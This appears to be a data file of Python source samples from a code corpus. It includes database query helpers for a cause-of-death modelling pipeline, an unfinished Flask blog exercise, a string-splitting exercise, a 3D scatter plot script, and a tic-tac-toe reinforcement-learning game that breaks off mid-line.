+{"seq_id":"142540317","text":"'''\nThis File Contains all the helper functions for performing an SQL query of the\nCOD database. The goal of this script is to create wrapper functions around\nsql syntax so that individuals can retrieve data from the databased without a\ndeep understanding of the complex database.\n'''\nimport pandas as pd\nimport queryStrings as QS\nimport numpy as np\nimport sys\nimport db_connect\nfrom db_queries import get_envelope, get_population\n\n\ndef getModelParams(model_version_id, db_connection, update=False):\n '''\n integer -> dictionary\n\n Given an integer that indicates a valid model version id the function will\n return a dictionary with keys indicating the model parameters start age,\n end age, sex, start year, cause, and whether to run covariate selection or\n not. \"update\" indicates whether during the querying process the database\n should be updated to running during the querying process, dUSERt is False.\n True should be used when running CODEm.\n '''\n call = \"SELECT * FROM cod.model_version WHERE model_version_id = {0}\"\n df = db_connect.query(call.format(model_version_id), db_connection)\n model = {k: df[k][0] for k in df.columns}\n model[\"start_year\"] = 1980\n call = \"SELECT acause FROM shared.cause WHERE cause_id = {0}\"\n aC = db_connect.query(call.format(model[\"cause_id\"]),\n db_connection)[\"acause\"][0]\n model[\"acause\"] = aC\n call = \"SELECT gbd_round FROM shared.gbd_round WHERE gbd_round_id = {0}\"\n gbd_round = int(db_connect.query(call.format(model[\"gbd_round_id\"]),\n db_connection)[\"gbd_round\"][0])\n model[\"gbd_round\"] = gbd_round\n call = \"\"\"UPDATE cod.model_version SET status = 0\n WHERE model_version_id = {0}\"\"\"\n if update:\n db_connect.query(call.format(model_version_id), db_connection)\n return model\n\n\ndef codQuery(cause_id, sex, start_year, start_age, end_age,\n location_set_version_id, db_connection):\n '''\n Strings indicating model parameters -> Pandas Data Frame\n\n Given a list of model parameters will query from the COD database and\n return a pandas data frame. The data frame contains the base variables\n used in the CODEm process.\n '''\n call = QS.codQueryStr.format(c=cause_id, s=sex, sy=start_year, sa=start_age,\n ea=end_age, loc_set_id=location_set_version_id)\n df = db_connect.query(call, db_connection)\n df['national'] = df['national'].map(lambda x: x == 1).astype(int)\n return df\n\n\ndef mortQuery(sex, start_year, start_age, end_age, location_set_version_id,\n gbd_round, db_connection):\n '''\n Strings indicating model parameters -> Pandas Data Frame\n\n Given a set of model parameters will query from the mortality database and\n return a pandas data frame. The data frame contains the base variables\n used in the CODEm process.\n '''\n loc_df = locQuery(location_set_version_id, db_connection)\n loc_list = loc_df.location_id.values.tolist()\n age_df = createAgeDF(db_connection)\n age_restrict = \"all_ages >= {0} & all_ages <= {1}\".format(start_age,\n end_age)\n age_list = age_df.query(age_restrict).all_ages.values.tolist()\n env = get_envelope(age_group_id=age_list,\n sex_id=sex,\n year_id=range(start_year, gbd_round+1),\n location_set=35,\n location_id=loc_list)\n pop = get_population(age_group_id=age_list,\n sex_id=sex,\n year_id=range(start_year, gbd_round+1),\n location_set=35,\n location_id=loc_list)\n\n df = pd.merge(env, pop, on=['age_group_id', 'location_id', 'year_id',\n 'sex_id'])\n df.drop(['upper', 'lower', 'run_id_x', 'run_id_y'], axis=1, inplace=True)\n df.rename(columns={'age_group_id': 'age', 'year_id': 'year',\n 'sex_id': 'sex', 'mean': 'envelope',\n 'population': 'pop'}, inplace=True)\n return df\n\n\ndef locQuery(location_set_version_id, db_connection):\n '''\n list -> Pandas Data Frame\n\n Given a list of country ID numbers will query from the mortality database\n and return a pandas data frame. The data frame contains columns for\n location, super region and region ID.\n '''\n call = QS.locQueryStr.format(loc_set_ver_id=location_set_version_id)\n df = db_connect.query(call, db_connection)\n df[\"path_to_top_parent\"] = \\\n df[\"path_to_top_parent\"].map(lambda x: \",\".join((x[2:]).split(\",\")[:3]))\n arr = np.array(list(df.path_to_top_parent.map(lambda x: x.split(\",\"))))\n df2 = pd.DataFrame(arr.astype(int),\n columns=[\"super_region\", \"region\", \"country_id\"])\n return pd.concat([df[\"location_id\"], df2], axis=1)\n\n\ndef excludeRegions(df, regionsExclude):\n '''\n (Pandas data frame, list of regions) -> Pandas data frame\n\n Given a pandas data frame and a list of regions to exclude, which\n can include id codes for super region, region, country or subnational,\n will remove all of the regions of the data frame.\n '''\n exclude = np.array(regionsExclude.split()).astype(int)\n SN_remove = df.location_id.map(lambda x: x not in exclude)\n C_remove = df.country_id.map(lambda x: x not in exclude)\n R_remove = df.region.map(lambda x: x not in exclude)\n SR_remove = df.super_region.map(lambda x: x not in exclude)\n df2 = df[(SN_remove) & (C_remove) & (R_remove) & (SR_remove)]\n df2.reset_index(drop=True, inplace=True)\n return df2\n\n\ndef rbinom(n, p, size):\n \"\"\"\n Wrapper over np binom function that takes nans\n\n :param n: int > 0\n number of trials\n :param p: float, 0 < p < 1\n probability of success\n :param size: int > 0\n number of observations\n \"\"\"\n if np.isnan(p) or np.isnan(n):\n draws = np.repeat(np.nan, size)\n else:\n draws = np.random.binomial(n=n, p=p, size=size)\n return draws\n\n\ndef data_variance(df, response):\n '''\n (data frame, string) -> array\n\n Given a data frame and a response type generates an estimate of the variance\n for that response based on sample size. A single array is returned where\n each observation has been sampled 100 times from a normal distribution to\n find the estimate.\n '''\n np.seterr(invalid='ignore')\n cf = df.cf.values\n N = df.sample_size.values\n env = df.envelope.values\n pop = df[\"pop\"].values\n cf[cf <= 0.00000001] = np.NaN\n cf[cf >= 1.] = np.NaN\n cf_sd = (cf * (1-cf) / N)**.5\n cf_sd[cf_sd > .5] = .5 # cap cf_sd\n f = lambda i: np.random.normal(cf[i], cf_sd[i], 100) * (env[i]/pop[i])\n if response == \"lt_cf\":\n f = lambda i: np.random.normal(cf[i], cf_sd[i], 100)\n draws = np.array(map(f, range(len(cf))))\n draws[draws <= 0] = np.NaN\n if response == \"lt_cf\":\n draws = np.log(draws / (1 - draws))\n elif response == \"ln_rate\":\n draws = np.log(draws)\n draws_masked = np.ma.masked_array(draws, np.isnan(draws))\n sd_final = np.array(draws_masked.std(axis=1))\n sd_final[sd_final == 0.] = np.NaN\n np.seterr(invalid='warn')\n return sd_final\n\n\ndef data_process(df):\n '''\n Pandas data frame -> Pandas data frame\n\n Given a pandas data frame that was queried for CODEm returns a\n Pandas data frame that has columns added for mixed effect analysis and\n is re-indexed after removing countries with full sub-national data.\n '''\n df2 = df.copy()\n remove = df2[df2.country_id != df2.location_id].country_id.unique()\n df2 = df2[df2.location_id.map(lambda x: x not in remove)]\n df2 = df2.replace([np.inf, -np.inf], np.nan)\n df2[\"region_nest\"] = df2.super_region.map(str) + \":\" + df2.region.map(str)\n df2[\"age_nest\"] = df2.region_nest + \":\" + df2.age.map(str)\n df2[\"country_nest\"] = df2.region_nest + \":\" + df2.country_id.map(str)\n df2[\"sub_nat_nest\"] = df2.country_nest + \":\" + df2.location_id.map(str)\n df2[\"ln_rate_sd\"] = data_variance(df2, \"ln_rate\")\n df2[\"lt_cf_sd\"] = data_variance(df2, \"lt_cf\")\n df2.reset_index(inplace=True, drop=True)\n return df2\n\n\ndef queryCodData(cause_id, sex, start_year, start_age, end_age, regionsExclude,\n location_set_version_id, gbd_round, db_connection):\n \"\"\"\n :param cause_id: int\n cause_id to pull results from\n :param sex: int, 1 or 2\n sex_id to query\n :param start_year: int\n year of first data point\n :param start_age: int\n age of first data point\n :param end_age: int\n age of last data point\n :regionsExclude: str\n str of regions to exclude\n :param location_set_version_id: int\n cod location version to use\n :param db_connection: str\n db connection string\n :param gbd_round: int\n year round that we are working with\n :return: data frame\n data frame with all model data\n \"\"\"\n cod = codQuery(cause_id, sex, start_year, start_age, end_age,\n location_set_version_id, db_connection)\n mort = mortQuery(sex, start_year, start_age, end_age,\n location_set_version_id, gbd_round, db_connection)\n loc = locQuery(location_set_version_id, db_connection)\n loc = excludeRegions(loc, regionsExclude)\n mortDF = mort.merge(loc, how='right', on=['location_id'])\n codDF = cod.merge(mortDF, how='right',\n on=['location_id', 'age', 'sex', 'year'])\n codDF.loc[codDF[\"cf\"] == 1, \"cf\"] = np.NAN\n codDF.loc[codDF[\"cf\"] == 0, \"cf\"] = np.NAN\n codDF['ln_rate'] = np.log(codDF['cf'] * codDF['envelope'] / codDF['pop'])\n codDF['lt_cf'] = np.log(codDF['cf'].map(lambda x: x/(1.0-x)))\n df = data_process(codDF)\n return df\n\n\ndef covMetaData(model_version_id, db_connection):\n '''\n integer -> Pandas data frame\n\n Given an integer that represents a valid model ID number, will\n return a pandas data frame which contains the covariate model ID's\n for that model as well as the metadata needed for covariate selection.\n '''\n call = QS.metaQueryStr.format(model_version_id)\n df = db_connect.query(call, db_connection)\n return df\n\n\ndef covQuery(covID, location_set_version_id, db_connection):\n '''\n integer -> Pandas data frame\n\n Given an integer which represents a valid covariate ID will return a data\n frame which contains a unique value for each country, year, age group.\n This data may be aggregated in some form as well.\n '''\n call = QS.cvQueryStr.format(mvid=covID, loc_set_id=location_set_version_id)\n df = db_connect.query(call, db_connection)\n if df.shape[0] == 0:\n err_log = \"There appears to be an error with covariate id {0}\"\n sys.stderr.write(err_log.format(covID))\n sys.exit()\n df = df.rename(columns={\"mean_value\": df[\"name\"][0]})\n return df\n\n\ndef transform(data, trans):\n '''\n (array, string) -> array\n\n Given an array of numeric data and a string indicating the type of\n transformation desired will return an array with the desired transformation\n applied. If the string supplied is invalid the same array will be returned.\n '''\n if trans == \"ln\":\n return np.log(data)\n elif trans == \"lt\":\n return np.log(data / (1. - data))\n elif trans == \"sq\":\n return data**2\n elif trans == \"sqrt\":\n return data**.5\n elif trans == \"scale1000\":\n return data * 1000.\n else:\n return data\n\n\ndef transDF(df, var, trans):\n '''\n (Pandas data frame, string, string) -> Pandas data frame\n\n Given a pandas data frame, a string that represents a valid numeric\n variable in that column and a string representing a type of transformation,\n will return a Pandas data frame with the variable transform as specified.\n Additionally the name of the variable will be changed to note the\n transformation.\n '''\n df2 = df\n df2[var] = transform(df2[var].values, trans)\n if trans in [\"ln\", \"lt\", \"sq\", \"sqrt\", \"scale1000\"]:\n df2 = df2.rename(columns={var: (trans + \"_\" + var)})\n return df2\n\n\ndef lagIt(df, var, lag):\n '''\n (Pandas data frame, string, string) -> Pandas data frame\n\n Given a pandas data frame, a string that represents a valid numeric\n variable in that column and an integer representing the number of years to\n lag, will return a Pandas data frame with the specified lag applied.\n Additionally, the name of the variable will be changed to note the\n transformation.\n '''\n if lag is None:\n return df\n if np.isnan(lag):\n return df\n df2 = df\n df2[\"year\"] = df2[\"year\"] + lag\n df2 = df2.rename(columns={var: (\"lag\" + str(lag) + \"_\" + var)})\n return df2\n\n\ndef createAgeDF(db_connection):\n '''\n None -> Pandas data frame\n\n Creates a Pandas data frame with two columns, all the age groups currently\n used in analysis at IHME as noted by the data base as well as a column with\n the code used for the aggregate group.\n '''\n # this age_group_set_id is currently specific to gbd 2016\n call = \"\"\"\n SELECT age_group_id as all_ages\n FROM shared.age_group_set_list\n WHERE age_group_set_id = 12 AND is_estimate = 1;\n \"\"\"\n ageDF = db_connect.query(call, db_connection)\n ageDF['age'] = 22\n return ageDF\n\n\ndef ageSexData(df, sex, db_connection):\n '''\n (Pandas data frame, integer) -> Pandas Data frame\n\n Given a Pandas data frame and an integer which represents the desired sex\n of the analysis, will return a data frame with a value for each age group\n and only for the desired sex.\n '''\n df2 = df\n ageDF = createAgeDF(db_connection)\n if len(df2[\"age\"].unique()) == 1:\n df2 = df2.merge(ageDF, on=\"age\")\n df2 = df2.drop(\"age\", 1)\n df2 = df2.rename(columns={\"all_ages\": \"age\"})\n if len(df2[\"sex\"].unique()) == 1:\n df2[\"sex\"] = sex\n df2 = df2[df2[\"sex\"] == sex]\n return df2\n\n\ndef getCVDF(covID, trans, lag, offset, sex, location_set_version_id,\n db_connection):\n '''\n (integer, string, integer, integer) -> Pandas data frame\n\n Given a covariate id number, a string representing a transformation\n type, an integer representing lags of the variable and an integer\n representing which sex to restrict the data to, will return a\n data frame which contains teh values for that covariate transformed\n as specified.\n '''\n df = covQuery(covID, location_set_version_id, db_connection)\n df[df.columns.values[0]] = df[df.columns.values[0]] + offset\n df = transDF(df, df.columns.values[0], trans)\n df = lagIt(df, df.columns.values[0], lag)\n df = ageSexData(df, sex, db_connection)\n df = df.drop(\"name\", 1)\n df = df.replace([np.inf, -np.inf], np.nan)\n df = df[df.year >= 1980]\n return df\n\n\ndef getCovData(model_version_id, location_set_version_id, db_connection):\n '''\n integer -> (Pandas data frame, Pandas data frame)\n\n Given an integer which represents a valid model version ID, returns\n two Pandas data frames. The first is a data frame which contains the\n covariate data for that model. The second is the meta data of those\n same covarites which will be used for the model selection process.\n '''\n covs = covMetaData(model_version_id, db_connection)\n sex = getModelParams(model_version_id, db_connection)[\"sex_id\"]\n df = getCVDF(covs.covariate_model_id[0], covs.transform_type_short[0],\n covs.lag[0], covs.offset[0], sex, location_set_version_id,\n db_connection)\n for i in range(1, len(covs)):\n dfTemp = getCVDF(covs.covariate_model_id[i],\n covs.transform_type_short[i], covs.lag[i],\n covs.offset[i], sex, location_set_version_id,\n db_connection)\n df = df.merge(dfTemp, how=\"outer\",\n on=[\"location_id\", \"age\", \"sex\", \"year\"])\n n = df.drop([\"location_id\", \"age\", \"sex\", \"year\"], axis=1).columns.values\n covs[\"name\"] = n\n return df, covs\n\n\ndef getCodemInputData(model_version_id, db_connection):\n '''\n integer -> (Pandas data frame, Pandas data frame)\n\n Given an integer which represents a valid model version ID, returns\n two pandas data frames. The first is the input data needed for\n running CODEm models and the second is a data frame of meta data\n needed for covariate selection.\n '''\n model = getModelParams(model_version_id, db_connection)\n df = queryCodData(cause_id=model[\"cause_id\"], sex=model[\"sex_id\"],\n start_year=model[\"start_year\"],\n start_age=model[\"age_start\"], end_age=model[\"age_end\"],\n regionsExclude=model[\"locations_exclude\"],\n location_set_version_id=model[\"location_set_version_id\"],\n db_connection=db_connection, gbd_round=model[\"gbd_round\"])\n cvDF, priors = getCovData(model_version_id,\n model[\"location_set_version_id\"], db_connection)\n df = df[(df.year >= model[\"start_year\"]) & (df.age >= model[\"age_start\"]) &\n (df.age <= model[\"age_end\"])]\n df2 = df.merge(cvDF, how=\"left\", on=[\"location_id\", \"age\", \"sex\", \"year\"])\n covs = df2[priors.name.values]\n df = df.drop_duplicates()\n covs = covs.loc[df.index]\n df.reset_index(drop=True, inplace=True)\n covs.reset_index(drop=True, inplace=True)\n columns = df.columns.values[df.dtypes.values == np.dtype('float64')]\n df[columns] = df[columns].astype('float32')\n return df, covs, priors\n\n\ndef get_site_data(path, var, trans, lag):\n '''\n (string, string, string, integer) -> Pandas Data Frame\n\n Given a valid path within the FILE_DRIVE returns a transformed Pandas data\n frame of the specified transformation type and lag time.\n '''\n\n df = pd.read_csv(\"FILEPATH\")\n df = transDF(df, var, trans)\n df = lagIt(df, var, lag)\n return df\n\n\ndef get_raw_reference(priorsDF, loc):\n '''\n (Pandas data frame, string)\n\n Given a priors Data frame attempts to retrieve all the site specific or\n reference data based on the chosen value of [loc].\n '''\n l = []\n for i in range(len(priorsDF)):\n if priorsDF[loc][i] != '':\n try:\n l.append(get_site_data(priorsDF[loc][i],\n priorsDF.var[i],\n priorsDF.transform_type_short[i],\n priorsDF.lag[i]))\n except:\n l = l\n return l\n\n\ndef get_raw_reference_data(priorsDF, df, loc):\n '''\n (Pandas data frame, Pandas data frame, string)\n\n Given a priors data frame, a data frame for each country, age, year of\n interest and a string [loc] indicating a variable in the pandas data frame\n retrieves all the data from the specified column to be attached to the\n country, age, year data frame.\n '''\n l = get_raw_reference(priorsDF, loc)\n sub = priorsDF[priorsDF[loc] != \"\"]\n for d in l:\n df = df.merge(d, how=\"left\")\n try:\n return df[sub.name.values]\n except:\n return pd.DataFrame()\n\n\ndef write_submodel(model_version_id, submodel_type_id, submodel_dep_id, weight,\n rank, db_connection):\n '''\n (int, int, int, float, int) -> int\n\n Write a submodel to the table and get the id back\n '''\n call = QS.submodel_query_str.format(model_version_id, submodel_type_id,\n submodel_dep_id, weight, rank)\n db_connect.query(call, db_connection)\n call = QS.submodel_get_id.format(model_version_id, rank)\n submodel_id_df = db_connect.query(call, db_connection)\n submodel_id = submodel_id_df[\"submodel_version_id\"][0]\n return submodel_id\n\n\ndef write_submodel_covariate(submodel_id, list_of_covariate_ids, db_connection):\n for cov in list_of_covariate_ids:\n call = QS.submodel_cov_write_str.format(submodel_id, cov)\n db_connect.query(call, db_connection)\n\n\ndef write_model_pv(tag, value, model_version_id, db_connection):\n call = QS.pv_write.format(tag, value, model_version_id)\n db_connect.query(call, db_connection)\n\n\ndef write_model_output(df_true, model_version_id, sex_id, db_connection):\n df = df_true.copy()\n df[\"sex\"] = sex_id\n columns = [\"draw_%d\" % i for i in range(1000)]\n df[columns] = df[columns].values / df[\"envelope\"].values[..., np.newaxis]\n df[\"mean_cf\"] = df[columns].mean(axis=1)\n df[\"lower_cf\"] = df[columns].quantile(.025, axis=1)\n df[\"upper_cf\"] = df[columns].quantile(.975, axis=1)\n c = [\"mean_cf\", \"lower_cf\", \"upper_cf\", \"year\", \"age\", \"sex\", \"location_id\"]\n df = df[c]\n df[\"model_version_id\"] = model_version_id\n df.rename(columns={'year': 'year_id',\n 'sex': 'sex_id', 'age': 'age_group_id'}, inplace=True)\n db_connect.write_df_to_sql(df, db=\"cod\", table=\"model\",\n connection=db_connection)\n\n\ndef get_submodel_summary(model_version_id, db_connection):\n '''\n (int) -> data_frame\n\n Retrieves the summary submodel rank table for a particular model.\n '''\n call = QS.submodel_summary_query.format(model_version_id)\n df = db_connect.query(call, db_connection)\n return df\n\n\ndef get_codem_run_time(model_version_id, db_connection):\n call = QS.codem_run_time.format(model_version_id=model_version_id)\n df = db_connect.query(call, db_connection)\n return float(df[\"time\"][0])\n\n\ndef submodel_covs(submodel_version_id, db_connection):\n \"\"\"\n :param submodel_version_id: integer representing a codem submodel version id\n :return: Pandas data frame with information on submodel covariates\n\n Given a submodel version id returns the covariates that were used in the\n construction of that model.\n \"\"\"\n call = '''\n SELECT covariate_name_short FROM shared.covariate\n WHERE covariate_id IN (\n SELECT covariate_id FROM covariate.data_version\n WHERE data_version_id IN (\n SELECT data_version_id FROM covariate.model_version\n WHERE model_version_id IN (\n SELECT covariate_model_version_id\n FROM cod.submodel_version_covariate\n WHERE submodel_version_id={submodel_version_id})))\n '''.format(submodel_version_id=submodel_version_id)\n df = db_connect.query(call, db_connection)\n df[\"submodel_version_id\"] = submodel_version_id\n return df\n\n\ndef get_submodels(model_version_id, db_connection):\n \"\"\"\n :param model_version_id: integer representing a codem model version id\n :return: Pandas Data frame with submodels and corresponding information\n \"\"\"\n call = '''\n SELECT submodel_version_id, rank, weight, submodel_type_id, submodel_dep_id\n FROM cod.submodel_version\n WHERE model_version_id = {model_version_id}\n '''.format(model_version_id=model_version_id)\n df = db_connect.query(call, db_connection)\n return df\n\n\ndef all_submodel_covs(model_version_id, db_connection):\n \"\"\"\n :param model_version_id: integer representing a codem model version id\n :return: Pandas Data frame with submodels, covariates, and other info\n \"\"\"\n submodels = get_submodels(model_version_id, db_connection)\n covs = pd.concat([submodel_covs(x, db_connection)\n for x in submodels.submodel_version_id],\n axis=0).reset_index(drop=True)\n df = covs.merge(submodels, how=\"left\")\n df = df.sort_values([\"rank\", \"covariate_name_short\"])\n call = '''\n SELECT submodel_type_id, submodel_type_name FROM cod.submodel_type;\n '''\n df2 = db_connect.query(call, db_connection)\n df = df.merge(df2, how=\"left\")\n call = '''\n SELECT submodel_dep_id, submodel_dep_name FROM cod.submodel_dep;\n '''\n df2 = db_connect.query(call, db_connection)\n df = df.merge(df2, how=\"left\")\n df.drop([\"submodel_type_id\", \"submodel_dep_id\"], inplace=True, axis=1)\n df = df.sort_values([\"rank\", \"covariate_name_short\"])\n df[\"approximate_draws\"] = np.round(df.weight.values * 1000.)\n return df\n\n\ndef truncate_draws(mat, percent=95):\n \"\"\"\n :param mat: array where rows correspond to observations and columns draw\n :param percent: a value between 0 and 100 corresponding to the amount of\n data to keep\n :return: array where row data outside row percentile has been\n replaced with the mean.\n \"\"\"\n assert 0 < percent < 100, \"percent is out of range\"\n low_bound = (100. - float(percent)) / 2.\n hi_bound = 100. - low_bound\n matrix = np.copy(mat)\n row_lower_bound = np.percentile(matrix, low_bound, axis=1)\n row_upper_bound = np.percentile(matrix, hi_bound, axis=1)\n replacements = ((matrix.T < row_lower_bound).T |\n (matrix.T > row_upper_bound).T)\n replacements[matrix.std(axis=1) < 10**-5, :] = False\n masked_matrix = np.ma.masked_array(matrix, replacements)\n row_mean_masked = np.mean(masked_matrix, axis=1)\n row_replacements = np.where(replacements)[0]\n matrix[replacements] = row_mean_masked[row_replacements]\n return matrix\n\n\ndef acause_from_id(model_version_id, db_connection):\n \"\"\"\n Given a valid model version id returns the acause associated with it.\n\n :param model_version_id: int\n valid model version id\n :return: str\n string representing an acause\n \"\"\"\n call = '''\n SELECT\n acause\n FROM\n shared.cause\n WHERE\n cause_id = (SELECT cause_id\n FROM cod.model_version\n WHERE model_version_id = {})\n '''.format(model_version_id)\n acause = db_connect.query(call, db_connection)[\"acause\"][0]\n return acause\n","sub_path":"shared_code/central_comp/cod/codem/codem_prod/codem/query.py","file_name":"query.py","file_ext":"py","file_size_in_byte":25824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"432096463","text":"import csv\n\nfrom flask import Flask\nfrom flask import request\n\napp = Flask(__name__)\n\n\n@app.route(\"/\")\ndef index():\n # 1. Open the post html and get the contents as a string\n post_file = open('post.html', 'r')\n post_html = post_file.read()\n post_file.close()\n\n # 2. Create a new list that will hold all the html for your blog posts\n\n # 3. Open the csv file and read it using the CSV library. This will give you a list of rows.\n # See: https://docs.python.org/3/library/csv.html#csv.DictReader\n\n # 4. Loop over each row in the CSV. Each row is a blog post.\n\n # 5. Take post_html and replace {{title}} {{body}} {{author}} with the data in each blog post csv row\n\n # 6. Add the post_html to the new list you created above.\n\n # 7. Join all the items in your new list together into a single string. Name this string \"blog_post_html\".\n\n # 8. Open the index.html file and replace {{blog_posts}} with the blog post string you just created.\n index_file = open('index.html', 'r')\n index_html = index_file.read()\n\n index_html.replace('{{blog_posts}}', blog_post_html)\n\n index_file.close()\n\n return index_html\n","sub_path":"pixel-perfect/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"293527348","text":"n = int(input())\r\n\r\nfor i in range(n):\r\n string = str(input())\r\n \r\n evenString = \"\"\r\n oddString = \"\"\r\n for j in range(len(string)):\r\n if (j % 2 == 0):\r\n evenString += string[j]\r\n \r\n else:\r\n oddString += string[j]\r\n \r\n print(evenString + \" \" + oddString)","sub_path":"ThirtyDaysOfCode/LetsReview.py","file_name":"LetsReview.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"9203206","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Dec 18 22:58:32 2017\r\n\r\n@author: 28414\r\n\"\"\"\r\n\r\nimport scipy.io as sio \r\nimport matplotlib.pyplot as plt\r\n\r\nmat1 = '4a.mat' #这是存放数据点的文件,需要它才可以画出来。上面有下载地址\r\ndata = sio.loadmat(mat1)\r\nm = data['data']\r\n\r\nx,y,z = m[0],m[1],m[2]\r\nax=plt.subplot(111,projection='3d') #创建一个三维的绘图工程\r\n\r\n#将数据点分成三部分画,在颜色上有区分度\r\nax.scatter(x[:1000],y[:1000],z[:1000],c='y') #绘制数据点\r\nax.scatter(x[1000:4000],y[1000:4000],z[1000:4000],c='r')\r\nax.scatter(x[4000:],y[4000:],z[4000:],c='g')\r\n\r\nax.set_zlabel('Z') #坐标轴\r\nax.set_ylabel('Y')\r\nax.set_xlabel('X')\r\nplt.show()","sub_path":"4/untitled2.py","file_name":"untitled2.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"315117311","text":"from random import randint\r\nimport random\r\nimport pickle\r\n\r\nclass morpion_game:\r\n #Morpion game\r\n\r\n def __init__(self):\r\n #Constructor\r\n self.board = {}\r\n self.constructBoard()\r\n\r\n def constructBoard(self):\r\n #use to init the board to 0 (no player own any case)\r\n for ligne in range(1,4):\r\n for col in range(1,4):\r\n self.board[(ligne,col)] = 0\r\n\r\n def reset(self):\r\n #simple method to reset the board (to be more precise in used method)\r\n self.constructBoard()\r\n\r\n def is_finished(self):\r\n #vertical checking\r\n for ligne in range(1,4):\r\n sumL_p1 = 0\r\n sumL_p2 = 0\r\n \r\n for col in range(1,4):\r\n if(self.board[(ligne,col)] == 1):\r\n sumL_p1 += 1\r\n elif(self.board[(ligne,col)] == 2):\r\n sumL_p2 += 1\r\n if(sumL_p1 == 3 or sumL_p2 == 3):\r\n return 1\r\n \r\n #Horizontal checking\r\n for col in range(1,4):\r\n sumC_p1 = 0\r\n sumC_p2 = 0\r\n for ligne in range(1,4):\r\n if(self.board[(ligne,col)] == 1):\r\n sumC_p1 += 1\r\n elif(self.board[(ligne,col)] == 2):\r\n sumC_p2 += 1\r\n if(sumC_p1 == 3 or sumC_p2 == 3):\r\n return 1\r\n\r\n #diagonale checking\r\n sumD_p1 = 0\r\n sumD_p2 = 0\r\n for i in range(1,4):\r\n if(self.board[(i,i)] == 1):\r\n sumD_p1 += 1\r\n elif(self.board[(i,i)] == 2):\r\n sumD_p2 += 1\r\n\r\n if(sumD_p1 == 3 or sumD_p2 == 3):\r\n return 1\r\n \r\n sumD_p1 = 0\r\n sumD_p2 = 0\r\n for i in range(1,4):\r\n if(self.board[(i,4-i)] == 1):\r\n sumD_p1 += 1\r\n elif(self.board[(i,4-i)] == 2):\r\n sumD_p2 += 1\r\n\r\n if(sumD_p1 == 3 or sumD_p2 == 3):\r\n return 1\r\n \r\n if(len(self.possible_action()) == 0):\r\n return 2 \r\n \r\n return 0\r\n\r\n def display(self):\r\n #Display the board game\r\n print(f\"|{11*'-'}|\") \r\n for ligne in range(1,4): \r\n board_line = \"| \"\r\n for col in range(1,4):\r\n if(self.board[ligne,col] == 1):\r\n board_line += \"X | \"\r\n elif(self.board[ligne,col] == 2):\r\n board_line += \"O | \"\r\n else: \r\n board_line += \" | \"\r\n print(board_line)\r\n print(f\"|{11*'-'}|\")\r\n\r\n def possible_action(self):\r\n return [x for x in self.board if self.board[x] == 0]\r\n\r\n def step(self, case, player):\r\n #action is a case in a tuple\r\n #player is the id of the player, it can be 0 or 1\r\n if(player == 0):\r\n self.board[case] = 1\r\n else:\r\n self.board[case] = 2\r\n\r\n if(self.is_finished() != 0):\r\n if(self.is_finished()==1):\r\n return None, 1\r\n else:\r\n return None, 0.5\r\n else:\r\n return self.board, 0\r\n\r\nclass morpion_player:\r\n #Morpion player\r\n\r\n def __init__(self, is_human, trainable=True):\r\n self.is_human = is_human\r\n self.history = []\r\n self.V = {} #Ne garder qu'un dictionnaire mais pour l'autre joueur faire *-1 car une bonne partie pour l'un est une mauvaise pour l'autre\r\n self.eps = 0.99\r\n self.trainable = trainable\r\n\r\n def greedy_step(self, game):\r\n action_possible = game.possible_action()\r\n vMax = 0\r\n vi = None\r\n for i in range(len(action_possible)):\r\n a = action_possible[i]\r\n temp_board = game.board\r\n temp_board[a] = 1\r\n if(dict_to_string(temp_board) in self.V):\r\n if(vMax < self.V[dict_to_string(temp_board)]):\r\n vMax = self.V[dict_to_string(temp_board)]\r\n vi = i\r\n temp_board[a] = 0\r\n return action_possible[vi if vi is not None else 0]\r\n\r\n def add_transition(self, n_tuple):\r\n self.history.append(n_tuple)\r\n\r\n def train(self):\r\n if self.trainable and self.is_human is False:\r\n for transition in reversed(self.history):\r\n s,a,r,sp = transition\r\n\r\n if(s not in self.V):\r\n self.V[s] = 0\r\n if(sp not in self.V):\r\n self.V[sp] = 0\r\n\r\n if(r == 0):\r\n self.V[s] = self.V[s] + 0.000000001*(self.V[sp] - self.V[s])\r\n else:\r\n self.V[s] = self.V[s] + 0.000000001*(r - self.V[s])\r\n\r\n def play(self, game):\r\n action_possibles = game.possible_action()\r\n if(len(action_possibles)> 0):\r\n if (not self.is_human):\r\n if(self.trainable):\r\n if random.uniform(0,1) < self.eps:\r\n action = action_possibles[randint(0,len(action_possibles)-1)]\r\n else:\r\n action = self.greedy_step(game)\r\n else:\r\n action = action_possibles[randint(0,len(action_possibles)-1)]\r\n elif(self.is_human):\r\n ligne = int(input(\"$> Ligne: \"))\r\n col = int(input(\"$> Colonne: \"))\r\n action = (ligne, col) \r\n\r\n return action\r\n return None\r\n\r\n\r\ndef dict_to_string(dico):\r\n string_board = \"\"\r\n for key in dico:\r\n temp_string = str(dico[key])\r\n string_board += temp_string \r\n\r\n return string_board\r\n\r\n\r\ndef play(game, p1,p2,train=True):\r\n game.reset()\r\n state = game.board\r\n players = [p1,p2]\r\n #random.shuffle(players) Ne pas mélanger les joueurs car je pense que le jeu dépend de quel symbole on doit placer\r\n p=0\r\n while(game.is_finished() == 0):\r\n if(players[p%2].is_human):\r\n game.display()\r\n action = players[p%2].play(game)\r\n n_state, reward = game.step(action, p%2)\r\n if(p>1):\r\n s,a,r,sp = players[p%2].history[-1]\r\n\r\n if(n_state == None):\r\n players[p%2].history[-1] = (s,a, reward, None)\r\n players[(p+1)%2].history[-1] = (s,a, reward * -1, None)\r\n else:\r\n players[p%2].history[-1] = (s,a, reward * -1, dict_to_string(n_state))\r\n\r\n players[p%2].add_transition((dict_to_string(state), action, reward, None))\r\n\r\n state = n_state\r\n p += 1\r\n\r\n if(train):\r\n p1.train()\r\n p2.train()\r\n\r\n #game.display()\r\n\r\nif __name__ == \"__main__\":\r\n game = morpion_game()\r\n\r\n p1 = morpion_player(is_human=False, trainable=True)\r\n p2 = morpion_player(is_human=False, trainable=True)\r\n\r\n #with open('VLR_000000001.pickle', \"rb\") as handle:\r\n # p1.V = 